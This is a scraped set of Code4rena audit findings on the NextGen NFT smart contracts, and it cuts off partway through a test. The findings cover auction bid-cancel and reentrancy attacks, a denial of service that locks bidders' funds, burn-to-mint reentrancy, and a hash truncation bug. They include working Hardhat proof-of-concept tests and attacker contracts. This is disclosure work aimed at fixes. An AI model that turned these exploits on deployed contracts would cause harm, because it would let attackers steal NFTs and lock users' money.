// @ts-check const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { let attacker; beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr3; const auction = await ethers.getContractFactory( "auctionDemo", ); contracts.hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ); await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) contracts.hhCancelOnWin = await ( await ethers.getContractFactory("CancelOnWin", attacker) ).deploy(await contracts.hhAuction.getAddress()); }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhCancelOnWin.getAddress()).to.not.equal( ethers.ZeroAddress, ) })} ); context("Auction winner can return his bid", () => { let tokenId; let endTimestamp; let normalBidder; beforeEach(async function () { // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); const collectionAdmin = signers.addr1; await contracts.hhAdmin.registerCollectionAdmin( 1, collectionAdmin.address, true, ) await contracts.hhCore.connect(collectionAdmin).setCollectionData( 1, // _collectionID collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) const startTimestamp = await getLatestBlockTimestamp(); endTimestamp = startTimestamp + 1000 await contracts.hhMinter.setCollectionPhases( 1, // _collectionID startTimestamp, // _allowlistStartTime endTimestamp, // _allowlistEndTime 0, // _publicStartTime 0, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) normalBidder = signers.addr2; expect(collectionAdmin.address).not.eq(normalBidder.address); // start auction const tx = await contracts.hhMinter.mintAndAuction( collectionAdmin.address, // _recipient "", // _tokenData 0, // _saltfun_o 1, // _collectionID endTimestamp, // _auctionEndTime ); // check token minted tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address); // approve auction to use it contracts.hhCore.connect(signers.addr1).approve( await contracts.hhAuction.getAddress(), tokenId ); }) it("attacks", async function() { const attackerContract = await contracts.hhCancelOnWin.connect(attacker); // Make a big bet const bidAmmount = ethers.parseEther("1.0"); await attackerContract.bid(tokenId, { value: bidAmmount }) const balanceBefore = await ethers.provider.getBalance(attackerContract); expect(balanceBefore).to.eq(0); // skip until the auction end time await ethers.provider.send("evm_setAutomine", [false]); await ethers.provider.send("evm_setIntervalMining", [0]); await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]); // claim await attackerContract.claim(tokenId); await ethers.provider.send("evm_mine"); // check mined correctly expect(await getLatestBlockTimestamp()).eq(endTimestamp); expect(await contracts.hhAuction.auctionClaim(tokenId)).to.be.true; // check attack successfull const balanceAfter = await ethers.provider.getBalance(attackerContract); expect(balanceAfter).to.eq(bidAmmount); // check attacker owns the NFT expect(await contracts.hhCore.ownerOf(tokenId)) .to.eq(await attackerContract.getAddress()); }) }); }); async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Change >=
to >
in block.timestamp >= minter.getAuctionEndTime(_tokenid)
in claimAuction
Add nonReentrant
modifiers
Timing
#0 - c4-pre-sort
2023-11-14T13:35:25Z
141345 marked the issue as duplicate of #1370
#1 - c4-pre-sort
2023-11-14T14:21:06Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:41:43Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T18:01:29Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134
Steps:
getAuctionEndTime
is a valid block.timestamp
(1/12 chance if selected in random, see more in this answer)Result:
claimAuction
getAuctionEndTime
is a valid block.timestamp
Variations:
a. If you are not the first to make a bet you will have to pay 1wei more than the previous bidder if they don't cancel
b. Depending on how much higher than the market price the attacker bid they will have to win ~50% of the times for 2x, 10% for 1.1x to be profitable with this strategy. In the worst case (flashbots fail to include their batch) the attacker will just buy an NFT with a higher than market price. When they win they pay 1 wei.
c. An attacker can use several accounts to do several rebidding to discourage rebidding from real people even more. In this case it will be just a bigger batch of transactions to flashbots
d. Can attack with lower success probability without flashbots, just risky that someone will back run, the cancelBid
transaction won't be included in a block
High possibility to win expensive NFT in an auction with high probability paying 1 wei
Create a test file below and run it
// @ts-check const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { before(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) const auction = await ethers.getContractFactory( "auctionDemo", ); contracts.hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ); await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhAuction.getAddress()).to.not.equal( ethers.ZeroAddress, ) })} ); context("Vulnerability 1", () => { before(async function () { // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("attack", async function() { const startTimestamp = await getLatestBlockTimestamp(); const endTimestamp = startTimestamp + 1000 await contracts.hhMinter.setCollectionPhases( 1, // _collectionID startTimestamp, // _allowlistStartTime endTimestamp, // _allowlistEndTime 0, // _publicStartTime 0, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) const initialOwnerAddress = signers.addr1.address; const bidder = signers.addr2; expect(initialOwnerAddress).not.eq(bidder.address); // start auction const tx = await contracts.hhMinter.mintAndAuction( initialOwnerAddress, "", 0, 1, endTimestamp, ); // check token minted const tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(initialOwnerAddress); contracts.hhCore.connect(signers.addr1).approve( await contracts.hhAuction.getAddress(), tokenId ) const auction = contracts.hhAuction.connect(bidder); // Make a big first bet (step 1) const firstBid = ethers.parseEther("1.0"); await auction.participateToAuction(tokenId, { value: firstBid }); expect(await auction.auctionInfoData(tokenId.toString(), 0)).to.deep.equal([ await bidder.getAddress(), firstBid, true, ]); const highestBidStart = await auction.returnHighestBid(tokenId); expect(highestBidStart).to.eq(firstBid); // set time (step 2) await ethers.provider.send("evm_setAutomine", [false]); await ethers.provider.send("evm_setIntervalMining", [0]); await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]); // send batch of 3 txs, easy with flashbots (step 3) await auction.cancelBid(tokenId, 0, { gasLimit: 1_000_000 }); await auction.participateToAuction(tokenId, { value: 1, gasLimit: 1_000_000, }); await auction.claimAuction(tokenId, {gasLimit: 1_000_000}); await ethers.provider.send("evm_mine"); // check mined correctly expect(await getLatestBlockTimestamp()).eq(endTimestamp); // check bids expect(await auction.auctionInfoData(tokenId.toString(), 0)).to.deep.equal([ await bidder.getAddress(), firstBid, false, ]); expect(await auction.auctionInfoData(tokenId.toString(), 1)).to.deep.equal([ await bidder.getAddress(), 1, true, ]); expect(await auction.returnHighestBid(tokenId)).to.eq(1); expect(await auction.returnHighestBidder(tokenId)).to.eq(bidder.address); // check owner expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(bidder.address); }) }) }); async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Consider disallowing canceling the winning bet.
Changing >=
to >
in block.timestamp >= minter.getAuctionEndTime(_tokenid)
in claimAuction
will help to make an attack more risky because the attacker won't be able to cancel, rebid and finish auction in the same block.
Other
#0 - c4-pre-sort
2023-11-15T07:25:34Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:12:26Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:15:01Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:50:48Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T18:01:06Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
1.3844 USDC - $1.38
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
Prerequisites:
block.timestamp >= minter.getAuctionEndTime(_tokenid)
)call
Result:
Not enough gas to finish the execution (we still have not payed the winner in the for-loop because the winner is the last with status true
in the auctionInfoData
array)
No one can withdraw there bids. No way to recover the funds.
Put the contracts below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import {auctionDemo} from "./AuctionDemo.sol"; pragma solidity ^0.8.19; contract ThrowOnCall{ function bid(auctionDemo auction, uint256 tokenId) external payable { require(msg.value > 0); auction.participateToAuction{value: msg.value}(tokenId); } fallback() external payable { // easiest way to consume all the gas assembly { invalid() } } }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) const auction = await ethers.getContractFactory( "auctionDemo", ); contracts.hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ); await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) contracts.hhThrowOnCall = await (await ethers.getContractFactory("ThrowOnCall")).deploy(); }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhThrowOnCall.getAddress()).to.not.equal( ethers.ZeroAddress, ) })} ); context("Any bidder can lock all the withdrawals", () => { let tokenId; let endTimestamp; let normalBidder; beforeEach(async function () { // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); const collectionAdmin = signers.addr1; await contracts.hhAdmin.registerCollectionAdmin( 1, collectionAdmin.address, true, ) await contracts.hhCore.connect(collectionAdmin).setCollectionData( 1, // _collectionID collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) const startTimestamp = await getLatestBlockTimestamp(); endTimestamp = startTimestamp + 1000 await contracts.hhMinter.setCollectionPhases( 1, // _collectionID startTimestamp, // _allowlistStartTime endTimestamp, // _allowlistEndTime 0, // _publicStartTime 0, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) normalBidder = signers.addr2; expect(collectionAdmin.address).not.eq(normalBidder.address); // start auction const tx = await contracts.hhMinter.mintAndAuction( collectionAdmin.address, // _recipient "", // _tokenData 0, // _saltfun_o 1, // _collectionID endTimestamp, // _auctionEndTime ); // check token minted tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address); // approve auction to use it contracts.hhCore.connect(signers.addr1).approve( await contracts.hhAuction.getAddress(), tokenId ); // normal bids await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 1000 }); await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 2000 }); await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 3000 }); }) it("reverts if attacker is called (max gas)", async function() { // malicious/broken bid, the biggest bid so far // we do 2 bids to be sure because only 63/64 of gas is passed, and with 30mln one time is not enough await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 4000}) await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 5000}) // overbid by normal bidder await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 6000 }); // skip until the auction end time await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]); await ethers.provider.send("evm_mine"); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)) .to.be.lessThan(await getLatestBlockTimestamp()); // try to withdraw, will throw await expect(contracts.hhAuction.connect(normalBidder) // 30mln is the limit .claimAuction(tokenId, {gasLimit: 30_000_000})) // @ts-ignore .to.be.reverted; // just to show that cancel bids also does not work await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId)) // @ts-ignore .to.be.revertedWith("Auction ended"); }) it("reverts if attacker is called (normal gas)", async function() { // malicious/broken bid, the biggest bid so far // only one bid is required for 1mln gas await contracts.hhThrowOnCall.bid(contracts.hhAuction, tokenId, {value: 4000}) // overbid by normal bidder await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 6000 }); // skip until the auction end time await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]); await ethers.provider.send("evm_mine"); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)) .to.be.lessThan(await getLatestBlockTimestamp()); // try to withdraw, will throw await expect(contracts.hhAuction.connect(normalBidder) .claimAuction(tokenId, {gasLimit: 1_000_000})) // @ts-ignore .to.be.reverted; // just to show that cancel bids also does not work await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId)) // @ts-ignore .to.be.revertedWith("Auction ended"); }) }); }); async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Rewrite the auction so it uses Pull over Push pattern.
DoS
#0 - c4-pre-sort
2023-11-20T15:21:57Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:24:34Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:24:46Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:50:39Z
alex-ppg marked the issue as partial-50
252.1973 USDC - $252.20
In bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId]))
you try to concatenate randomWords and tokenId. But because bytes32 type casting cuts first 32 bytes only first word will be set as the token hash.
E.g. for _randomWords
= [1,2], requestToToken[_requestId])
= 3, bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId]))
will return 0x0000000000000000000000000000000000000000000000000000000000000001
It looks like you wanted for creators to have tokenId and all the random words in the hash.
It will lead to unexpected token hashes and unexpected art rendering
A small contract to check what will be returned
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; contract B32 { function test(uint[] calldata a, uint b) external pure returns (bytes32) { return bytes32(abi.encodePacked(a, b)); } }
Manual review
Consider using keccak256
instead of bytes32
if you need to use all the values and don't need tokenId in hash.
Consider using a bigger data type (e.g. struct) to hold both words and tokenId if that what was desired.
en/de-code
#0 - c4-pre-sort
2023-11-20T15:29:05Z
141345 marked the issue as duplicate of #852
#1 - c4-judge
2023-12-06T15:56:15Z
alex-ppg changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-12-10T14:25:43Z
This previously downgraded issue has been upgraded by alex-ppg
#3 - c4-judge
2023-12-10T14:26:26Z
alex-ppg marked the issue as duplicate of #1688
#4 - c4-judge
2023-12-10T14:28:39Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: ast3ros
Also found by: 00xSEV, Al-Qa-qa, CaeraDenoir, Jiamin, Juntao, Ruhum, bart1e, circlelooper, crunch, gumgumzum, rishabh, smiling_heretic, ustas
95.7343 USDC - $95.73
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L220
Prerequisites:
Steps for the attacker:
MinterContract.burnToMint
onERC721Received
hook
The buyer of the token looses money, because the token is burned just after the sale
Put the contract below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import {IERC721Receiver} from "./IERC721Receiver.sol"; import "./ERC721Enumerable.sol"; import "./MinterContract.sol"; pragma solidity ^0.8.19; contract SellBurnToken is IERC721Receiver { event TokenSold(uint indexed burnTokenId, address indexed newOwner); bool shouldSellBurnTokenOnReceive = false; uint burnTokenId; IERC721 core; NextGenMinterContract minter; function setShouldSell(bool _value, uint _burnTokenId, IERC721 _core, NextGenMinterContract _minter) external { shouldSellBurnTokenOnReceive = _value; burnTokenId = _burnTokenId; core = _core; minter = _minter; } function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable { minter.burnToMint{value: msg.value}(_burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o); } function onERC721Received( address , address , uint256 , bytes calldata ) external returns (bytes4) { if (shouldSellBurnTokenOnReceive){ // It can be sale, lend, or any other operation with the token core.transferFrom(address(this), address(0xdead), burnTokenId); emit TokenSold(burnTokenId, core.ownerOf(burnTokenId)); } return IERC721Receiver.onERC721Received.selector; } }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const TEST_NAME = "Possible to sell or lend a token just before burning it"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts let attacker; describe("NextGen Tests", function () { beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr3; await contracts.hhCore.addMinterContract( contracts.hhMinter ); }) context(TEST_NAME, () => { const BURN_COLLECTION_ID = 1; const MINT_COLLECTION_ID = 2; const MINT_COLLECTION_TOTAL_SUPPLY = 3; beforeEach(async function () { await contracts.hhCore.addRandomizer( BURN_COLLECTION_ID, contracts.hhRandomizer, ) await contracts.hhCore.addRandomizer( MINT_COLLECTION_ID, contracts.hhRandomizer, ) // Collection to burn, big supply const collectionId1 = await createCollection(1000); expect(collectionId1).to.eq(BURN_COLLECTION_ID); // Collection to mint, small supply const collectionId2 = await createCollection(MINT_COLLECTION_TOTAL_SUPPLY); expect(collectionId2).to.eq(MINT_COLLECTION_ID); await contracts.hhMinter.initializeBurn(BURN_COLLECTION_ID, MINT_COLLECTION_ID, true); }) it("attacks", async function() { const attackerContract = (await ( await ethers.getContractFactory("SellBurnToken")) .deploy()) .connect(attacker); // Simulate that attacker gets 1 burn token, in real scenario they could buy it const airDropTx = await contracts.hhMinter.airDropTokens( [attackerContract], //_recipients, [""], //_tokenData, [0], //_saltfun_o, BURN_COLLECTION_ID, //_collectionID, [1] //_numberOfTokens, ) const tokenId = (await getLastMintedTokenIds(airDropTx))[0]; // Make sure the token is minted const burnTokensAirdroppedToAttackerCount = await contracts.hhCore .retrieveTokensAirdroppedPerAddress( BURN_COLLECTION_ID, attackerContract ); expect(burnTokensAirdroppedToAttackerCount).to.eq(1); await attackerContract.setShouldSell( true, tokenId, contracts.hhCore, contracts.hhMinter); const tx = await attackerContract .burnToMint( BURN_COLLECTION_ID, tokenId, MINT_COLLECTION_ID, 0 ) const tokenSoldEvent = await getTokenSoldEvent(tx); expect(tokenSoldEvent).to.not.be.empty; expect(tokenSoldEvent.args.newOwner).to.eq('0x000000000000000000000000000000000000dEaD'); expect(tokenSoldEvent.args.burnTokenId).to.eq(tokenId); }) }); }); async function createCollection(totalSupply) { const collectionId = await contracts.hhCore.newCollectionIndex(); const collectionAdmin = signers.addr1; await contracts.hhCore.createCollection( `Test Collection ${collectionId}`, `Artist ${collectionId}`, "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"] ); await contracts.hhAdmin.registerCollectionAdmin( collectionId, // _collectionID collectionAdmin.address, true ); await contracts.hhCore.connect(collectionAdmin).setCollectionData( collectionId, collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases totalSupply, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ); await contracts.hhMinter.setCollectionCosts( collectionId, 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ); const publicStartTimestamp = await getLatestBlockTimestamp(); const publicEndTimestamp = publicStartTimestamp + 1000; await contracts.hhMinter.setCollectionPhases( collectionId, 0, // _allowlistStartTime 0, // _allowlistEndTime publicStartTimestamp, // _publicStartTime publicEndTimestamp, // _publicEndTime "0x633522a1353f0e3bf991364afc2d74b59b938bad1726812e25d9f9c09d90b06a" // _merkleRoot ); return collectionId; } async function getLastMintedTokenIds(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .filter(parsedLog => parsedLog && parsedLog.name === "Transfer") .map(log => log.args.tokenId) } async function getTokenSoldEvent(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event TokenSold(uint indexed burnTokenId, address indexed newOwner)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "TokenSold") } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Call _burn
before _mintProcessing
Follow CEI pattern
ERC721
#0 - c4-pre-sort
2023-11-20T15:26:02Z
141345 marked the issue as duplicate of #1597
#1 - c4-pre-sort
2023-11-20T15:26:29Z
141345 marked the issue as duplicate of #1597
#2 - c4-pre-sort
2023-11-26T14:00:15Z
141345 marked the issue as duplicate of #1742
#3 - c4-judge
2023-11-29T19:54:11Z
alex-ppg marked the issue as not a duplicate
#4 - c4-judge
2023-11-29T19:54:28Z
alex-ppg marked the issue as duplicate of #1597
#5 - c4-judge
2023-12-05T12:24:55Z
alex-ppg changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-12-08T21:24:11Z
alex-ppg marked the issue as partial-50
35.614 USDC - $35.61
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540
} else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
getPrice
checks for <
when comparing with block.timestamp
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L221
} else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
mint
checks for <=
It means that at the last second of the sale the price will be collectionMintCost
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L566
return collectionPhases[_collectionId].collectionMintCost;
Impossible to buy at the last second for the collectionEndMintCost
Users who wished to buy at the last second for the lowest price won't be able to do it
Integration problems are possible when 3rd party requests getPrice
because the price will suddenly spike at the last second. E.g. bots who try to buy at the last second and request getPrice
will massively overpay
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const TEST_NAME = "Incorrect price formula for salesOption 2"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts const START_MINT_COST = 100_000; const RATE = 100; const END_MINT_COST = 10_000; let PUBLIC_START_TIMESTAMP; const PUBLIC_SALE_LENGTH = 10_000; const SALES_OPTION = 2; let collectionId; let attacker; describe("NextGen Tests", function () { beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr2; await contracts.hhCore.addMinterContract( contracts.hhMinter ); }) context(TEST_NAME, () => { beforeEach(async function () { collectionId = await contracts.hhCore.newCollectionIndex(); const collectionAdmin = signers.addr1; await contracts.hhCore.createCollection( `Test Collection ${collectionId}`, `Artist ${collectionId}`, "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"] ); await contracts.hhAdmin.registerCollectionAdmin( collectionId, // _collectionID collectionAdmin.address, true ); await contracts.hhCore.connect(collectionAdmin).setCollectionData( collectionId, collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 1000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ); await contracts.hhMinter.setCollectionCosts( collectionId, START_MINT_COST, // _collectionMintCost END_MINT_COST, // _collectionEndMintCost RATE, // _rate 2000, // _timePeriod SALES_OPTION, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ); PUBLIC_START_TIMESTAMP = await getLatestBlockTimestamp() + 100; await contracts.hhMinter.setCollectionPhases( 